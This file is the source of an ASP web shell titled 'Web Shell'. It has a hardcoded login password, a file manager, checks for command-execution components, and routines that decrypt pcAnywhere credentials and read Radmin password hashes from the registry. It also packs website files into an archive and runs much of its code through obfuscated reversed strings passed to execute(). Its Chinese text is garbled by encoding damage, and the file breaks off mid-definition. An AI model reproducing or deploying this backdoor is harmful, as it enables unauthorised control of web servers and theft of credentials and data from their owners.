webshell/asp/con2.asp

<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%@ LANGUAGE = VBScript.encode%><%
Server.ScriptTimeout=999999999
UserPass	="xpxp1234"' 쵱쯤
mNametitle	="Web Shell"'  	깃痙츰俚
Copyright	="Web Shell"'	경홈츰俚
bs=False
ShowFileIco=False
IcoPath=""
durl=""
Response.Buffer =true
On Error Resume Next
strBAD=""
Const DEfd=""
sub ShowErr()
  If Err Then
j"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
Err.Clear:Response.Flush
  End If
end sub
Sub j(str)
response.write(str)
End Sub
Function RePath(S)
  RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
  RRePath=Replace(S,"\\","\")
End Function
URL=Request.ServerVariables("URL")
OOOO=Request.ServerVariables("PATH_TRANSLATED")
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("/")
FolderPath=Request("FolderPath")
ServerU=ReQueST.SERVervaRIables("http_host")&url
serverp=UserPass
FName=Request("FName")
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "⒴", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
 If Mid(ShiSanObjstr, ShiSanI, 1) <> "⑼" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) + ShiSanNewStr
 Else
ShiSanNewStr = vbCrLf + ShiSanNewStr
 End If
Next
ShiSanFun = ShiSanNewStr
End Function
cdx="<tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#696969'"" onMouseOut=""this.style.backgroundColor='#121212'"">":cxd="<font face='wingdings'>8</font>":ef="</a></td></tr>"
set fso=server.CreateObject("Scripting.FileSystemObject")
set fsoX=server.CreateObject("Scripting.FileSystemObject")
str1=""&Request.ServerVariables("SERVER_Name"):BackUrl="<br><br><center><a href='javascript:history.back()'>럿쀼</a></center>"
j"<html><meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312""><title>"&mNametitle&" - "&ServerIP&" </title><style type=""text/css"">body,tr,td{margin-top:5px;background-color:#000000;color:#9c9393;font-size:12px;SCROLLBAR-FACE-COLOR:#232323;scrollbar-arrow-color:#383839;scrollbar-highlight-color:#383839;scrollbar-3dlight-color:#dddddd;scrollbar-shadow-color:#232323}.sb{cursor:hand}input,select,textarea{border-top-width:1px;font-weight: bold;border-left-width: 1px;font-size:11px;border-left-color: #dddddd;background: #000000;border-bottom-width: 1px;border-bottom-color: #dddddd;color: #dddddd;border-top-color: #dddddd;font-family: verdana;border-right-width: 1px;border-right-color: #dddddd;}#d{background: #121212;padding-left:5px;padding-right:5px}pre{font-size: 11px;font-family: verdana;color: #dddddd;}hr{color: #dddddd;background-color: #dddddd;height: 5px;}#x{font-family: verdana;font-size:13px}a{color:#b4a9a9;text-decoration:none;}.am{color:#b4a9a9;font-size:11px;}</style>"
if bs=true then:j"<script src="&htp&"1.js>":else:j"<script>":end if:j"function killErrors(){return true;}window.onerror=killErrors;function yesok(){if (confirm(""횅훰狼獵契늪꾸鱗찐？""))return true;else return false;}function runClock(){theTime = window.setTimeout(""runClock()"", 100);var today = new Date();var display= today.toLocaleString();window.status=""∪"&Copyright&"  --""+display;}runClock();function ShowFolder(Folder){top.addrform.FolderPath.value = Folder;top.addrform.submit();}function FullForm(FName,FAction){top.hideform.FName.value = FName;if(FAction==""CopyFile""){DName = prompt(""헝渴흙릿齡돕커깃匡숭홍츰냔"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""MoveFile""){DName = prompt(""헝渴흙盧땡돕커깃匡숭홍츰냔"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""CopyFolder""){DName = prompt(""헝渴흙盧땡돕커깃匡숭셸홍츰냔"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""MoveFolder""){DName = prompt(""헝渴흙盧땡돕커깃匡숭셸홍츰냔"",FName);top.hideform.FName.value += ""||||""+DName;}else if(FAction==""NewFolder""){DName = prompt(""헝渴흙狼劤쉔돨匡숭셸홍츰냔"",FName);top.hideform.FName.value = DName;}else{DName = ""Other"";}if(DName!=null){top.hideform.Action.value = FAction;top.hideform.submit();}else{top.hideform.FName.value = """";}}</script>"
j"<body" :If Action="" then j " scroll=no":j ">"
Dim ObT(18,2):Fn=Action:ObT(0,0) = "Scripting.FileSystemObject":ObT(0,2) = "匡 숭 꾸 鱗 莉 숭":ObT(1,0) = "wscript.shell":ObT(1,2) = "츱즈契獵契莉숭,鞫刻'<font color=red>≠</font>'珂痰<a href='?Action=cmdx' target='FileFrame'> <font color=red> 獵契Cmd랗</font></a> 늪묘콘獵契":ObT(2,0) = "ADOX.Catalog":ObT(2,2) = "ACCESS 쉔 욋 莉 숭":ObT(3,0) = "JRO.JetEngine":ObT(3,2) = "ACCESS 箕 鍵 莉 숭":ObT(4,0) = "Scripting.Dictionary":ObT(4,2) = "鑒앴직 <20> 눈 릅燎 莉숭":ObT(5,0) = "Adodb.connection":ObT(5,2) = "鑒앴욋 젯쌈 莉숭":ObT(6,0) = "Adodb.Stream":ObT(6,2) = "鑒앴직 <20>눈 莉숭":ObT(7,0) = "SoftArtisans.FileUp":ObT(7,2) = "SA-FileUp 匡숭 <20>눈 莉숭":ObT(8,0) = "LyfUpload.UploadFile":ObT(8,2) = "증暾룟 匡숭 <20>눈 莉숭":ObT(9,0) = "Persits.Upload.1":ObT(9,2) = "ASPUpload 匡숭 <20>눈 莉숭":ObT(10,0) = "JMail.SmtpMail":ObT(10,2) = "JMail 錟숭 澗랙 莉숭":ObT(11,0) = "CDONTS.NewMail":ObT(11,2) = "肯콰SMTP 랙斤 莉숭":ObT(12,0) = "SmtpMail.SmtpMail.1":ObT(12,2) = "SmtpMail 랙斤 莉숭":ObT(13,0) = "Microsoft.XMLHTTP":ObT(13,2) = "鑒앴 눈渴 莉숭"
ObT(14,0) = "ws"&"cript.shell.1":  OBt(14,2) = "흔벎wsh굳쐐，옵鹿맣痰侶몸莉숭":OBT(15,0) = "WS"&"CRIPT.NETWORK":  OBt(15,2) = "꿴였륩蛟포斤口돨莉숭，唐珂옵鹿痰윱瓊홈":OBT(16,0) = "she"&"ll.appl"&"ication":OBt(16,2) = "she"&"ll.appli"&"cation 꾸鱗，轟FSO珂꾸鱗匡숭鹿섟獵契츱즈":OBT(17,0) = "sh"&"ell.appl"&"ication.1":OBt(17,2) = "she"&"ll.appli"&"cation 돨깎츰，轟FSO珂꾸鱗匡숭鹿섟獵契츱즈":OBT(18,0) = "Shell.Users":OBt(18,2) = "<22>뇜죄net.exe net1.exe돨헙워苟警속痰빵돨莉숭"
For i=0 To 18:Set T=Server.CreateObject(ObT(i,0)):If -2147221005 <> Err Then:IsObj=" ￡":Else:IsObj=" ≠":Err.Clear:End If:Set T=Nothing:ObT(i,1)=IsObj:Next:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=WwwRoot:Session("FolderPath")=FolderPath:End if
sWHEEL1 = "jwt"
Function Encrypt(acd)
For i = 1 To Len(acd) step 1
c=mid(acd,i,1)
if c="⊃" then
d=mid(acd,i,2)
i=i+1
e=replace(d,"⊃","")
bbc=bbc&mid(sWHEEL1,cint(e),1)
else
bbc=bbc&c
end if
next
Encrypt=bbc
end Function
Function PcAnywhere4()
j"<div align='center'>PcAnywhere瓊홈 Bin경굶</div><form name='xform' method='post'><table width='80%'border='0'><tr><td width='10%'>cif匡숭: </td><td width='10%'><input name='path' type='text' value='C:\Documents and Settings\All Users\Application Data\\Symantec\pcAnywhere\Citempl.cif' size='80'></td><td><input type='submit' value=' 瓊슥 '></td></table>"
end Function
j"</form><script>function RUNonclick(){document.xform.china.name = parent.pwd.value;document.xform.action = parent.url.value;document.xform.submit();}</script>"
Function StreamLoadFromFile(sPath)
Dim oStream
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 1
.Mode = 3
.Open
.LoadFromFile(sPath)
.Position = 0
StreamLoadFromFile = .Read
.Close
End With
Set oStream = Nothing
End Function
Function hexdec(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then
 j = 15
End If
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then
 j = 14
End If
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then
 j = 13
End If
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then
 j = 12
End If
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then
 j = 11
End If
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then
 j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
 j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
 j = j * 16
Next
result = result + j
Next
hexdec = result
End Function
Function PcAnywhere(data,mode)
HASH= Mid(data,3)
If mode = "pass" Then number = 32: Cifnum = 144
If mode = "user" Then number = 30: Cifnum = 15
For i = 1 To number Step 2
pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum)
If ((pcstr <= 32) Or (pcstr>127)) Then Exit For
decode = decode + Chr(pcstr)
Cifnum=Cifnum+1
Next
PcAnywhere=decode
End function
Function bin2hex(binstr)
For i = 1 To LenB(binstr)
hexstr = Hex(AscB(MidB(binstr, i, 1)))
If Len(hexstr)=1 Then
bin2hex=bin2hex&"0"&(LCase(hexstr))
Else
bin2hex=bin2hex& LCase(hexstr)
End If
Next
End Function
CIF = Request("path")
If CIF <> "" Then
BinStr=StreamLoadFromFile(CIF)
j"Pcanywhere Reader ==><br><br>PATH:"&CIF&"<br>琅뵀:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user")
j"<br>쵱쯤:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass")
End If
Function radmin()
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
j"<br>鬧雷:뗍놔HASH令빈痰RadminHash묏야샀od딧桿젯쌈，묏야苟潼뒈囹:"&htp&"soft/Radmin_hash.rar<br><br>"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
j Parameter&":"
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If  Len (hex(ParameterArray(i)))=1 Then
strObj = strObj & "0"&CStr(Hex(ParameterArray(i)))
Else
strObj = strObj & Hex(ParameterArray(i))
End If
Next
j strobj
Else
j"Error! Can't Read!"
End If
j"<br><br>"
PortArray=WSH.REGREAD(RadminPath & Port )
If IsArray(PortArray) Then
j Port &":"
j hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
j"Error! Can't Read!"
End If
End Function
Function hextointer(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hextointer = result
End Function:Function MainForm()
execute(shisanfun("⑼⒴>elbat/<>rt/<>dt/<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>dt/<>emarfi/<>'0'=redrobemarf '%59'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>'071'=htdiw dt<>rt<>rt/<>dt/<>elbat/<>mrof/<>rt/<>dt/<⒴j:fi dne:⒴ko⒴=)⒴.⒴(noisses:)urevres&⒴⒴(egapptthteg&⒴ ;psbn&;psbn&;psbn&;psbn&;psbn&⒴j:neht ⒴ko⒴ >< )⒴udiab⒴(noisses fi:⒴>a<×충戮resullA±)01(>')⒴⒴충戮\\sresU llA\\sgnitteS dna stnemucoD\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<   >a<×erehwynAcp±)9(>')⒴⒴erehwynAcp\\cetnamyS\\ataD noitacilppA\\1~esulla\\1~emucod\\:c⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&>a<×셸숭匡lerp±)8(>')⒴⒴lerp\\:c⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×lqssM±)7(>')⒴⒴\\revreS LQS tfosorciM\\seliF margorP\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc  a<;psbn&;psbn&;psbn&;psbn&;psbn&;psbn&>a<×PHP±)6(>')⒴⒴php\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&>a<×SWODNIW±)5(>')⒴⒴SWODNIW\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&>a<×)2(UvreS±)4(>')⒴⒴UvreS\\seliF margorP\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc  a<>a<×)1(UvreS±)3(>')⒴⒴moc.tfoSonihR\\seliF margorP\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<;psbn&;psbn&;psbn&;psbn&>a<×PMET±)2(;psbn&;psbn&>')⒴⒴pmeT\\SWODNIW\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×bupmw±)1(>')⒴⒴bupmw\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rb<⒴j:fi dne:⒴ko⒴=)⒴sRP⒴(noisses:⒴>;psbn&⒴j:neht ⒴ko⒴ >< )⒴sRP⒴(noisses fi:⒴>a<×)\:e(RELCYCER±)01(>')⒴⒴relcycer\\:e⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×)\:d(RELCYCER±)9(>')⒴⒴relcycer\\:D⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×)\:C(RELCYCER±)8(>')⒴⒴relcycer\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×埼_넋±)7(>')⒴⒴\\埼넋\\데꽉」迦역「\\sresU llA\\sgnitteS dna stnemucoD\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×녞꽉_迦<5F>_±)6(>')⒴⒴\\데꽉」迦역「\\sresU llA\\sgnitteS dna stnemucoD\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×sresU_llA±)5(>')⒴⒴\\sresU llA\\sgnitteS dna stnemucoD\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×stnemucoD±)4(>')⒴⒴stnemucoD\\sresU llA\\sgnitteS dna stnemucoD\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×EmargorP±)3(>')⒴⒴seliF margorP\\:e⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×DmargorP±)2(>')⒴⒴seliF margorP\\:d⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>a<×margorP±)1(>')⒴⒴seliF margorP\\:C⒴⒴(redloFwohS:tpircsavaj'=ferh ma=ssalc a<>rt<>emarfi/<>'1'=redrobemarf '%001'=thgieh '%001'=htdiw 'eliF1wohS=noitcA?'=crs 'emarFeliF'=eman emarfi<>dt<>'242424#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>p/<>a/<>b/<刻鞫>b<>##=ferh ⒴⒴''=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod⒴⒴=kcilcno a<>p<>a/<>b/<꾜茶>b<>##=ferh ⒴⒴'enon'=yalpsid.elyts.)'lt'(dIyBtnemelEteg.tnemucod⒴⒴=kcilcno a<>'xp2:gniddap'=elyts 1=htdiw dt<>dt/<>'000000#:dnuorgkcab'=elyts 1=htdiw dt<>dt/<>emarfi/<>'0'=redrobemarf '%001'=thgieh '%001'=htdiw 'uneMniaM=noitcA?'=crs 'tfeL'=eman emarfi<>lt=di '061'=htdiw dt<>'0'=gnicapsllec '0'=gniddapllec ';000000# dilos xp1:redrob'=elyts '%5.59'=thgieh '%001'=htdiw elbat<>elbat/<>mrof/<>rt/<>dt/<>')(daoler.noitacol.emarFeliF'=kcilcno '劤岬'=eulav 'timbus'=epyt tupni< >'OG'=eulav 'timbus'=epyt 'timbuS'=eman tupni<>'retnec'=ngila '041'=htdiw dt<>dt/<>'⒴&)⒴htaPredloF⒴(noisseS&⒴'=eulav '%001:htdiw'=elyts 'htaPredloF'=eman tupni<>dt<>dt/<：囹뒈>'retnec'=ngila '06'=htdiw dt<>rt<>'tnerap_'=tegrat '⒴&LRU&⒴'=noitca 'tsop'=dohtem 'mrofrdda'=eman mrof<>'%001'=htdiw elbat<>mrof/<>⒴⒴emaNF⒴⒴=eman ⒴⒴neddih⒴⒴=epyt tupni<>⒴⒴noitcA⒴⒴=eman ⒴⒴neddih⒴⒴=epyt tupni<>⒴⒴emarFeliF⒴⒴=tegrat ⒴⒴⒴&LRU&⒴⒴⒴=noitca ⒴⒴tsop⒴⒴=dohtem ⒴⒴mrofedih⒴⒴=eman mrof<⒴j"))
End Function


ExeCuTe(ShiSanFun("buS dnE⑼gnihtoN = redloFeht teS⑼txeN⑼fI dnE⑼fI dnE⑼etadpU.sr⑼)(daeR.maerts = )⒴tnetnoCelif⒴(sr⑼)htaP.meti(eliFmorFdaoL.maerts⑼)4 ,htaP.meti(diM = )⒴htaPeht⒴(sr⑼weNddA.sr⑼nehT 0 =< )⒴$⒴ & emaN.meti & ⒴$⒴ ,tsiLeliFsys(rtSnI fI⑼eslE ⑼maerts ,sr ,htaP.meti bdMroFeerTas⑼nehT eurT = redloFsI.meti fI⑼smetI.redloFeht nI meti hcaE roF⑼)htaPeht(ecapSemaN.Xas = redloFeht teS⑼⒴$bdl.HSH$bdm.HSH$⒴ = tsiLeliFsys⑼tsiLeliFsys ,redloFeht ,meti miD⑼)maerts ,sr ,htaPeht(bdMroFeerTas buS⑼buS dnE⑼pooL⑼fI dnE⑼0 = i⑼eslE ⑼)⒴\⒴ ,)1 + i ,htaPeht(diM(rtsnI + i = i⑼nehT )⒴\⒴ ,)1 + i ,htaPeht(diM(rtSnI fI⑼fI dnE⑼))1 - i ,htaPeht(tfeL(redloFetaerC.)⒴tcejbOmetsySeliF.gnitpircS⒴(tcejbOetaerC.revreS⑼nehT eslaF = ))i ,htaPeht(tfeL(stsixEredloF.)⒴tcejbOmetsySeliF.gnitpircS⒴(tcejbOetaerC.revreS fI⑼0 > i elihW oD⑼)⒴\⒴ ,htaPeht(rtsnI = i⑼i miD⑼)htaPeht(redloFetaerc buS⑼buS dnE⑼gnihtoN = nnoc teS⑼gnihtoN = maerts teS⑼gnihtoN = sr teS⑼gnihtoN = sw teS⑼esolC.maerts⑼esolC.nnoc⑼esolC.sr⑼pooL⑼txeNevoM.sr⑼2 ,)⒴htaPeht⒴(sr & rts eliFoTevaS.maerts⑼)⒴tnetnoCelif⒴(sr etirW.maerts⑼)(soEteS.maerts⑼fI dnE⑼)redloFeht & rts(redloFetaerc⑼nehT eslaF = )redloFeht & rts(stsixEredloF.)⒴tcejbOmetsySeliF.gnitpircS⒴(tcejbOetaerC.revreS fI⑼))⒴\⒴ ,)⒴htaPeht⒴(sr(veRrtSnI ,)⒴htaPeht⒴(sr(tfeL = redloFeht⑼foE.sr litnU oD⑼1 = epyT.maerts⑼nepO.maerts⑼1 ,1 ,nnoc ,⒴ataDeliF⒴ nepO.sr⑼rtSnnoc nepO.nnoc⑼⒴;⒴ & htaPeht & ⒴=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP⒴ = rtSnnoc⑼)⒴noitcennoC.BDODA⒴(tcejbOetaerC = nnoc teS⑼)⒴maertS.BDODA⒴(tcejbOetaerC = maerts teS⑼)⒴teSdroceR.BDODA⒴(tcejbOetaerC = sr teS⑼⒴\⒴ & )⒴.⒴(htaPpaM.revreS = rts⑼redloFeht ,rtSnnoc ,maerts ,nnoc ,rts ,sw ,sr miD⑼000001=tuOemiTtpircS.revreS⑼txeN emuseR rorrE nO⑼)htaPeht(kcaPnu buS⑼)emanf&⒴\⒴&toorwww(eliFtxeTetaerC.osf=esonpser tes⑼noitcnuF dnE⑼gnihtoN = redloFeht teS⑼gnihtoN = sredlof teS⑼gnihtoN = selif teS⑼txeN⑼fI dnE⑼etadpU.sr⑼)(daeR.maerts = )⒴tnetnoCelif⒴(sr⑼)htaP.meti(eliFmorFdaoL.maerts⑼)4 ,htaP.meti(diM = )⒴htaPeht⒴(sr⑼weNddA.sr⑼nehT 0 =< )⒴$⒴ & emaN.meti & ⒴$⒴ ,tsiLeliFsys(rtSnI fI⑼selif nI meti hcaE roF⑼txeN⑼maerts ,sr ,htaP.meti bdMroFeerTosf⑼sredlof nI meti hcaE roF⑼sredloFbuS.redloFeht = sredlof teS⑼seliF.redloFeht = selif teS⑼)htaPeht(redloFteG.)⒴tcejbOmetsySeliF.gnitpircS⒴(tcejbOetaerC.revreS = redloFeht teS⑼fI dnE⑼)⒴!狂련冀豚꼇諒샀瞳닸꼇쩌커 ⒴ & htaPeht(rrEwohs⑼nehT eslaF = )htaPeht(stsixEredloF.)⒴tcejbOmetsySeliF.gnitpircS⒴(tcejbOetaerC.revreS fI⑼⒴$bdl.HSH$bdm.HSH$⒴ = tsiLeliFsys⑼tsiLeliFsys ,selif ,sredlof ,redloFeht ,meti miD⑼)maerts ,sr ,htaPeht(bdMroFeerTosf noitcnuF⑼buS dnE⑼gnihtoN = golataCoda teS⑼gnihtoN = maerts teS⑼gnihtoN = nnoc teS⑼gnihtoN = sr teS⑼esolC.maerts⑼esolC.nnoC⑼esolC.sr⑼fI dnE⑼maerts ,sr ,htaPeht bdMroFeerTas⑼eslE ⑼maerts ,sr ,htaPeht bdMroFeerTosf⑼nehT ⒴osf⒴ = )⒴dohteMeht⒴(tseuqeR fI⑼3 ,3 ,nnoc ,⒴ataDeliF⒴ nepO.sr⑼1 = epyT.maerts⑼nepO.maerts⑼)⒴)egamI tnetnoCelif ,rahCraV htaPeht ,DERETSULC YEK YRAMIRP )1,0(YTITNEDI tni dI(ataDeliF elbaT etaerC⒴(etucexE.nnoc⑼rtSnnoc nepO.nnoc⑼rtSnnoc etaerC.golataCoda⑼)⒴bdm.HSH⒴(htaPpaM.revreS & ⒴=ecruoS ataD ;0.4.BDELO.teJ.tfosorciM=redivorP⒴ = rtSnnoc⑼)⒴golataC.XODA⒴(tcejbOetaerC.revreS = golataCoda teS⑼)⒴noitcennoC.BDODA⒴(tcejbOetaerC.revreS = nnoc teS⑼)⒴maertS.BDODA⒴(tcejbOetaerC.revreS = maerts teS⑼)⒴teSdroceR.BDODA⒴(tcejbOetaerC.revreS = sr teS⑼golataCoda ,rtSnnoc ,maerts ,nnoc ,sr miD⑼txeN emuseR rorrE nO⑼)htaPeht(bdMoTdda buS⑼buS dnE⑼⒴>mrof/<苟쩌커埼넋굶黨貫떼숭匡唐杰돨윱역썩 :鬧>rb<>rb<>'관역썩'=eulav timbus=epyt tupni<>tcAeht=eman bdMmorFesaeler=eulav neddih=epyt tupni<>08=ezis ⒴⒴bdm.HSH\⒴ & ))⒴.⒴(htaPpaM.revreS(edocnElmtH & ⒴⒴⒴=eulav htaPeht=eman tupni<>))⒴⒴#⒴⒴(noisseS(etucexE=eulav ⒴⒴#⒴⒴=eman neddih=epyt tupni<>tsop=dohtem mrof<>/rb<:)넣連OSF矜(역썩관숭匡>/rh<>mrof/<苟쩌커섬谿쯩컁mas黨貫,숭匡bdm.HSH냥<48>관댔 :鬧>rb<>rb<>'관댔迦역'=eulav timbus=epyt tupni<>tceles/<>noitpo/<OSF轟>ppa=eulav noitpo<>noitpo/<OSF>osf=eulav noitpo<>dohteMeht=eman tceles<>tcAeht=eman bdMoTdda=eulav neddih=epyt tupni<>08=ezis ⒴⒴⒴ & ))⒴.⒴(htaPpaM.revreS(edocnElmtH & ⒴⒴⒴=eulav htaPeht=eman tupni<>))⒴⒴#⒴⒴(noisseS(etucexE=eulav ⒴⒴#⒴⒴=eman neddih=epyt tupni<>tsop=dohtem mrof<:관댔셸숭匡>rb<⒴j⑼fI dnE⑼dnE.esnopseR⑼lrUkcaB&⒴>vid/<!냥供鱗꾸>rb<>retnec=ngila vid<⒴ j⑼)htaPeht(kcaPnu⑼nehT ⒴bdMmorFesaeler⒴ = tcAeht fI⑼fI dnE⑼dnE.esnopseR⑼lrUkcaB&⒴>vid/<!냥供鱗꾸>rb<>retnec=ngila vid<⒴ j⑼)htaPeht(bdMoTdda⑼nehT ⒴bdMoTdda⒴ = tcAeht fI⑼000001=tuOemiTtpircS.revreS⑼)⒴htaPeht⒴(tseuqeR = htaPeht⑼)⒴tcAeht⒴(tseuqeR = tcAeht⑼htaPeht ,tcAeht miD⑼)(bdMoTddAegaP buS⑼"))


Function ProFile()
execute(shisanfun("IS j⑼⒴>elbat/<>mrof/<⒴&IS=IS⑼⒴>rt/<>dt/<>'넋쏵빱괏냥<EAB48F>，꼍寧苟'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>05=thgieh dt<>dt/<;psbn&>dt<>rt<⒴&IS=IS⑼⒴>rt/<>dt/<)빱괏꼬홍랬轟橙뤠，댕督零<E79DA3>쪽틉，뜩督숭匡돨빱괏狼矜，취1槨鬼離( 취 >/ ⒴⒴)'',g/]d\^[/(ecalper.eulav=eulav⒴⒴=puyekno ⒴⒴5⒴⒴=ezis ⒴⒴1⒴⒴=eulav ⒴⒴thgir:ngila-txet⒴⒴=elyts ⒴⒴emiTA⒴⒴=eman ⒴⒴txet⒴⒴=epyt tupni<>dt<>dt/<：쪽틉빱괏>thgir=ngila dt<>rt<⒴&IS=IS⑼⒴>rt/<>dt/<)쯤긍맣뫘桿끼헝，쯤쫘君놔흼숭匡狂련( 8-FTU>/ ⒴⒴2⒴⒴=eulav ⒴⒴rahCA⒴⒴=eman ⒴⒴oidar⒴⒴=epyt tupni<  2132BG>/ dekcehc ⒴⒴1⒴⒴=eulav ⒴⒴rahCA⒴⒴=eman ⒴⒴oidar⒴⒴=epyt tupni<>dt<>dt/<：쯤긍숭匡>thgir=ngila dt<>rt<⒴&IS=IS⑼⒴>rt/<>dt/<>aeratxet/<쯤덜숭匡>⒴⒴7⒴⒴=swor ⒴⒴07⒴⒴=sloc ⒴⒴edoCA⒴⒴=eman aeratxet<>dt<>dt/<：쯤덜숭匡>thgir=ngila ⒴⒴;xp3:pot-gniddap⒴⒴=elyts pot=ngilav dt<>rt<⒴&IS=IS⑼⒴>rt/<>dt/<>aeratxet/<⒴&)⒴psa.tset\⒴&)⒴htaPredloF⒴(noisseS(htaPeRR&⒴>⒴⒴7⒴⒴=swor ⒴⒴07⒴⒴=sloc ⒴⒴eliFA⒴⒴=eman aeratxet<⒴&IS=IS⑼⒴>dt<>dt/<>tnof/<;psbn&;psbn&쓺쨌숭匡몸寧契첼>rb<;psbn&;psbn&숭匡몸뜩빱괏珂谿옵>wolley=roloc tnof<>rb<：쓺쨌숭匡돨빱괏狼矜>⒴⒴0⒴⒴=eulav ⒴⒴avvv⒴⒴=eman ⒴⒴neddih⒴⒴=epyt tupni<>thgir=ngila 'xp22:thgieh-enil'=elyts pot=ngilav dt<>rt<⒴&IS=IS⑼⒴'tsoP=2noitcA&eliForP=noitcA?⒴&LRU&⒴'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<⒴&IS=IS⑼⒴>'0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<⒴=IS⑼fI dnE⑼dnE.esnopseR⑼⒴>rb<>retnec/<。넋쏵땡폘>a/<쟁侶>knalb_=tegrat ⒴&2ssap&⒴=eliForP?⒴&LRU&⒴=ferh ⒴⒴dlob:thgiew-tnof;enilrednu:noitaroced-txet⒴⒴=elyts a<샌듐！묘냥냥<EB83A5> >tnof/<⒴&2ssap&⒴>wolley=roloc tnof< 넋쏵빱괏>retnec<>rb<>rb<>rb<⒴j⑼)⒴rahCA⒴(tseuqer=)⒴rahC⒴&2ssap(noitacilppA⑼)⒴emiTA⒴(tseuqer=)⒴emiT⒴&2ssap(noitacilppA⑼)⒴edoCA⒴(tseuqer=)⒴edoC⒴&2ssap(noitacilppA⑼)⒴eliFA⒴(tseuqer=)⒴eliF⒴&2ssap(noitacilppA⑼1=)2ssap(noitacilppA⑼)2ssap(esacu=2ssap⑼ pool⑼1mun&2ssap=2ssap⑼fi dne⑼ 9~0' ))84+dnr*)84-75((rhC(rtSC=1mun⑼esle⑼ z~a' ))79+dnr*)79-221((rhC(rtSC=1mun⑼neht 4=<)2ssap(neL fi⑼8<)2ssap(neL elihW oD⑼⒴⒴=2ssap⑼1mun,2ssap mid⑼ezimodnaR⑼nehT ⒴tsoP⒴=)⒴2noitcA⒴(tseuqeR fI⑼"))
End Function


Function suftp()
